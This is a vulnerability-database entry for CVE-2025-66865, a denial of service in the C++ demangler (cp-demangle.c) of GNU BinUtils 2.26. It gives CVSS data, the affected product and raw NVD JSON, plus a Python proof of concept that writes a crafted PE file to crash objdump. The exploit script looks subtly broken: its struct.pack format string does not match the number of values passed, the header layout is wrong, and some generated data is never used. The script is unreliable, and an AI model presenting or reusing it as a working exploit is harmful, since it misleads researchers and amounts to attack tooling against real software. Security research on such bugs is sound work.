Security Vulnerability Report
中文
CVE-2025-66865 CVSS 7.5 HIGH

CVE-2025-66865

Published: 2025-12-29 17:15:46
Last Modified: 2026-01-14 19:42:58

Description

An issue was discovered in function d_print_comp_inner in file cp-demangle.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gnu:binutils:2.26:*:*:*:*:*:*:* - VULNERABLE
BinUtils 2.26

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66865 PoC - BinUtils cp-demangle.c DoS via crafted PE file This PoC generates a minimal PE file that triggers the vulnerability in d_print_comp_inner function in cp-demangle.c """ import struct import sys def create_dos_header(): """Create minimal DOS header""" dos_header = bytearray(64) struct.pack_into('<H', dos_header, 0, 0x5A4D) # e_magic struct.pack_into('<I', dos_header, 60, 64) # e_lfanew return dos_header def create_pe_header(): """Create PE header with crafted C++ mangled name data""" # PE signature pe_sig = struct.pack('<I', 0x00004550) # COFF header coff_header = struct.pack('<HHIIIHH', 0x014C, # Machine (i386) 1, # NumberOfSections 0, # TimeDateStamp 0, # PointerToSymbolTable 0, # NumberOfSymbols 224, # SizeOfOptionalHeader 0x0102 # Characteristics ) # Optional header optional_header = struct.pack('<HHBBIIIIIHHHHHHIIHHHHHHIIIIHHIIIII', 0x010B, # Magic 14, # MajorLinkerVersion 0, # MinorLinkerVersion 0, # SizeOfCode 0, # SizeOfInitializedData 0, # SizeOfUninitializedData 0, # AddressOfEntryPoint 0, # BaseOfCode 0, # BaseOfData 0x400000, # ImageBase 0x1000, # SectionAlignment 0x200, # FileAlignment 6, # MajorOperatingSystemVersion 0, # MinorOperatingSystemVersion 0, # MajorSubsystemVersion 0, # MinorSubsystemVersion 0, # Win32VersionValue 0, # SizeOfImage 0, # SizeOfHeaders 0, # CheckSum 3, # Subsystem (GUI) 0, # DllCharacteristics 0, # SizeOfStackReserve 0, # SizeOfStackCommit 0, # SizeOfHeapReserve 0, # SizeOfHeapCommit 0, # LoaderFlags 0 # NumberOfRvaAndSizes ) # Section header with crafted debug info containing mangled names # This triggers d_print_comp_inner with malformed data section_name = b'.debug\x00\x00' section_header = section_name section_header += struct.pack('<IIIIIHHII', 0x1000, # VirtualSize 0x1000, # VirtualAddress 0x200, # SizeOfRawData 0x200, # PointerToRawData 0, # PointerToRelocations 0, # PointerToLinenumbers 0, # NumberOfRelocations 0, # NumberOfLinenumbers 0x42100040 # Characteristics ) # Crafted debug data with malformed C++ mangled names # These patterns are designed to trigger the vulnerability malformed_mangled_names = b'_ZN' # C++ mangled name prefix malformed_mangled_names += b'\x00' * 100 # Padding to trigger parsing error malformed_mangled_names += b'_GLOBAL__' # Global constructor/destructor prefix malformed_mangled_names += b'\xff\xff\xff' * 20 # Invalid characters # Pad to section size section_data = malformed_mangled_names.ljust(0x200, b'\x00') return pe_sig + coff_header + optional_header + section_header def generate_poc_pe(): """Generate PoC PE file""" pe_file = bytearray() pe_file.extend(create_dos_header()) pe_file.extend(create_pe_header()) # Pad to file alignment while len(pe_file) < 0x200: pe_file.append(0) # Add section data section_data = b'_ZN' + b'\x00' * 100 + b'_GLOBAL__' + b'\xff\xff\xff' * 20 section_data = section_data.ljust(0x200, b'\x00') pe_file.extend(section_data) return bytes(pe_file) if __name__ == '__main__': print('[+] Generating CVE-2025-66865 PoC PE file') poc_data = generate_poc_pe() output_file = 'CVE-2025-66865-poc.exe' with open(output_file, 'wb') as f: f.write(poc_data) print(f'[+] PoC file saved as: {output_file}') print('[+] Usage: Run objdump or readelf on this file to trigger the vulnerability') print('[+] Command: objdump -d ' + output_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66865", "sourceIdentifier": "[email protected]", "published": "2025-12-29T17:15:46.400", "lastModified": "2026-01-14T19:42:58.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in function d_print_comp_inner in file cp-demangle.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:binutils:2.26:*:*:*:*:*:*:*", "matchCriteriaId": "7A0BCBA2-7605-4976-8364-E6D1484D0CA9"}]}]}], "references": [{"url": "https://github.com/caozhzh/CRGF-Vul/blob/main/cxxfilt/crash4.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}